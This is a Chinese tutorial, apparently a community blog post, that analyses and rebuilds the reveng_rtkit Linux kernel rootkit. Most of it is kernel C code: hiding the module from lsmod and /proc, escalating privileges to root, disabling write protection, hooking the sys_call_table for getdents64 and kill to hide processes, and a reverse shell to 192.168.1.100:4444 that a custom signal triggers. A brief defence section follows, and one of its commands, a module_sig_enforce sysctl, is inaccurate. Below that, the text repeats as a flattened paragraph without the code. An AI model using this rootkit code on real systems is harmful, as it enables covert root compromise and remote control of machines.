【原创投稿】Linux rootkit之reveng_rtkit分析
字数 1198 2025-08-06 12:20:41

Linux Rootkit开发教程:reveng_rtkit分析与实现

1. 概述

本教程将详细分析reveng_rtkit这个基于Linux可加载内核模块(LKM)的rootkit实现。该rootkit针对Linux Kernel 5.11.0-49-generic设计,包含内核模块和用户模块两部分,实现了模块隐藏、进程隐藏、权限提升和反弹shell等功能。

2. 内核模块架构

reveng_rtkit的内核模块由三个主要文件组成:

  1. reveng_rtkit.c:主逻辑文件,包含模块移除功能
  2. hide_show_helper:模块隐藏和显示功能
  3. hook_syscall_helper:进程隐藏和反弹shell功能

3. 模块隐藏技术

3.1 隐藏原理

模块隐藏从四个方面实现:

  1. lsmod命令
  2. /proc/kallsyms
  3. /proc/modules
  4. /sys/module/

3.2 实现方法

3.2.1 从模块链表中删除

list_del(&THIS_MODULE->list);

3.2.2 处理/sys/module/目录

/sys/module/目录具有映射能力,采用kobject结构:

kobject_del(&THIS_MODULE->mkobj.kobj);

路径参考:

  • linux-5.15.98/lib/kobject.c
  • linux-5.15.98/include/linux/module.h

3.3 模块显示恢复

list_add(&THIS_MODULE->list, prev_module_in_proc_modules_lsmod);
kobject_add(&THIS_MODULE->mkobj.kobj);
kobject_put(&THIS_MODULE->mkobj.kobj);  // 释放不用的对象,防止rmmod崩溃

3.4 资源清理

kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;

4. 权限提升技术

4.1 使用prepare_creds函数

struct cred *root = prepare_creds();
if (root == NULL) {
    return;
}

// 更新ID为0(root)
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;

// 应用更新后的cred结构
commit_creds(root);

5. 用户与内核交互

5.1 IOCTL方法

5.1.1 设备驱动端实现

定义操作命令处理函数:

static int etx_open(struct inode *inode, struct file *file) {
    pr_info("[+] Device File Opened...!!!\n");
    return 0;
}

static long etx_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    if (copy_from_user(value, (int32_t*) arg, MAX_LIMIT)) {
        pr_err("Data Write : Err!\n");
    }
    
    if (strncmp(ROOTKIT_HIDE, value, strlen(ROOTKIT_HIDE)) == 0) {
        hide_rootkit();
        return 0;
    }
    // 其他命令处理...
}

static ssize_t etx_read(struct file *filp, char __user *buf, size_t len, loff_t *off) {
    pr_info(" [+] Read Function\n");
    return 0;
}

static ssize_t etx_write(struct file *filp, const char __user *buf, size_t len, loff_t *off) {
    pr_info(" [+] Write function\n");
    return len;
}

关联文件操作:

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .read = etx_read,
    .write = etx_write,
    .open = etx_open,
    .unlocked_ioctl = etx_ioctl,
    .release = etx_release,
};

5.1.2 设备注册

static dev_t dev;
if ((ret = alloc_chrdev_region(&dev, 0, 1, "mydev")) < 0) {
    printk(KERN_ERR "Failed to allocate device number\n");
    return ret;
}

if ((dev_class = class_create(THIS_MODULE, "etx_class")) == NULL) {
    pr_err("Cannot create the struct class\n");
    goto r_class;
}

if ((device_create(dev_class, NULL, dev, NULL, "etx_device")) == NULL) {
    pr_err("Cannot create the Device 1\n");
    goto r_device;
}

cdev_init(&etx_cdev, &fops);

if ((cdev_add(&etx_cdev, dev, 1)) < 0) {
    pr_err("Cannot add the device to the system\n");
    goto r_class;
}

5.2 系统调用劫持方法

5.2.1 获取系统调用表地址

由于Linux内核5.7.0之后不再导出kallsyms_lookup_name函数,使用kprobe获取:

static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};

typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;

register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);

syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");

5.2.2 关键系统调用

  1. getdents64 - 读取目录中的文件信息

    int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
    
  2. kill - 向指定进程发送信号

    int kill(pid_t pid, int sig);
    
  3. pt_regs - 存储进程或中断的寄存器状态

5.2.3 修改内核写保护

write_cr0_forced(cr0 & ~0x00010000);

5.2.4 系统调用劫持实现

保存原始系统调用:

orig_getdents64 = (tt_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (tt_syscall)__sys_call_table[__NR_kill];

替换为自定义函数:

__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

5.2.5 自定义getdents64实现

struct linux_dirent *dirent = (struct linux_dirent *) pt_regs->si;
struct linux_dirent64 *dir, *kdirent, *prev = NULL;
kdirent = kzalloc(ret, GFP_KERNEL);
err = copy_from_user(kdirent, dirent, ret);

int ret = orig_getdents64(pt_regs), err;

struct inode *d_inode;
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;

if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)) {
    // 处理进程隐藏逻辑
    while (offset < ret) {
        dir = (void *)kdirent + offset;
        if ((proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
            if (dir == kdirent) {
                ret -= dir->d_reclen;
                memmove(dir, (void *)dir + dir->d_reclen, ret);
                continue;
            }
            prev->d_reclen += dir->d_reclen;
        } else {
            prev = dir;
        }
        offset += dir->d_reclen;
    }
}

copy_to_user(dirent, kdirent, ret);

6. 反弹Shell实现

通过劫持kill系统调用实现反弹shell:

static asmlinkage long hacked_kill(const struct pt_regs *pt_regs) {
    pid_t pid = pt_regs->di;
    int sig = pt_regs->si;
    
    if (sig == SIGRTMIN + 42) {  // 自定义信号
        // 反弹shell逻辑
        struct socket *sock;
        struct sockaddr_in addr = {
            .sin_family = AF_INET,
            .sin_port = htons(4444),
            .sin_addr.s_addr = in_aton("192.168.1.100")
        };
        
        sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &sock);
        sock->ops->connect(sock, (struct sockaddr *)&addr, sizeof(addr), 0);
        
        // 重定向标准输入输出
        struct file *file;
        file = sock->file;
        fd_install(0, file);
        fd_install(1, file);
        fd_install(2, file);
        
        // 执行shell
        char *argv[] = {"/bin/sh", NULL};
        char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
        call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        
        return 0;
    }
    
    // 正常kill处理
    return orig_kill(pt_regs);
}

7. 防御与检测

7.1 防御措施

  1. 禁用不必要的内核模块加载:

    echo 1 > /proc/sys/kernel/modules_disabled
    
  2. 启用内核模块签名验证:

    echo 1 > /proc/sys/kernel/module_sig_enforce
    
  3. 使用SELinux或AppArmor限制内核访问

7.2 检测方法

  1. 检查可疑的内核模块:

    lsmod | grep -v -E "Module|Size|Used by"
    
  2. 验证系统调用表完整性:

    grep sys_call_table /proc/kallsyms
    
  3. 使用完整性检查工具:

    apt install tripwire
    tripwire --check
    
  4. 监控/proc/kallsyms变化

8. 总结

reveng_rtkit展示了Linux rootkit的几种关键技术:

  1. 内核模块隐藏技术
  2. 系统调用劫持
  3. 进程隐藏
  4. 权限提升
  5. 用户-内核通信机制

理解这些技术不仅有助于开发安全工具,也能帮助系统管理员更好地防御此类攻击。

Linux Rootkit开发教程:reveng_ rtkit分析与实现 1. 概述 本教程将详细分析reveng_ rtkit这个基于Linux可加载内核模块(LKM)的rootkit实现。该rootkit针对Linux Kernel 5.11.0-49-generic设计,包含内核模块和用户模块两部分,实现了模块隐藏、进程隐藏、权限提升和反弹shell等功能。 2. 内核模块架构 reveng_ rtkit的内核模块由三个主要文件组成: reveng_rtkit.c :主逻辑文件,包含模块移除功能 hide_show_helper :模块隐藏和显示功能 hook_syscall_helper :进程隐藏和反弹shell功能 3. 模块隐藏技术 3.1 隐藏原理 模块隐藏从四个方面实现: lsmod 命令 /proc/kallsyms /proc/modules /sys/module/ 3.2 实现方法 3.2.1 从模块链表中删除 3.2.2 处理/sys/module/目录 /sys/module/ 目录具有映射能力,采用kobject结构: 路径参考: linux-5.15.98/lib/kobject.c linux-5.15.98/include/linux/module.h 3.3 模块显示恢复 3.4 资源清理 4. 权限提升技术 4.1 使用prepare_ creds函数 5. 用户与内核交互 5.1 IOCTL方法 5.1.1 设备驱动端实现 定义操作命令处理函数: 关联文件操作: 5.1.2 设备注册 5.2 系统调用劫持方法 5.2.1 获取系统调用表地址 由于Linux内核5.7.0之后不再导出 kallsyms_lookup_name 函数,使用kprobe获取: 5.2.2 关键系统调用 getdents64 - 读取目录中的文件信息 kill - 向指定进程发送信号 pt_regs - 存储进程或中断的寄存器状态 5.2.3 修改内核写保护 5.2.4 系统调用劫持实现 保存原始系统调用: 替换为自定义函数: 5.2.5 自定义getdents64实现 6. 反弹Shell实现 通过劫持kill系统调用实现反弹shell: 7. 防御与检测 7.1 防御措施 禁用不必要的内核模块加载: 启用内核模块签名验证: 使用SELinux或AppArmor限制内核访问 7.2 检测方法 检查可疑的内核模块: 验证系统调用表完整性: 使用完整性检查工具: 监控/proc/kallsyms变化 8. 总结 reveng_ rtkit展示了Linux rootkit的几种关键技术: 内核模块隐藏技术 系统调用劫持 进程隐藏 权限提升 用户-内核通信机制 理解这些技术不仅有助于开发安全工具,也能帮助系统管理员更好地防御此类攻击。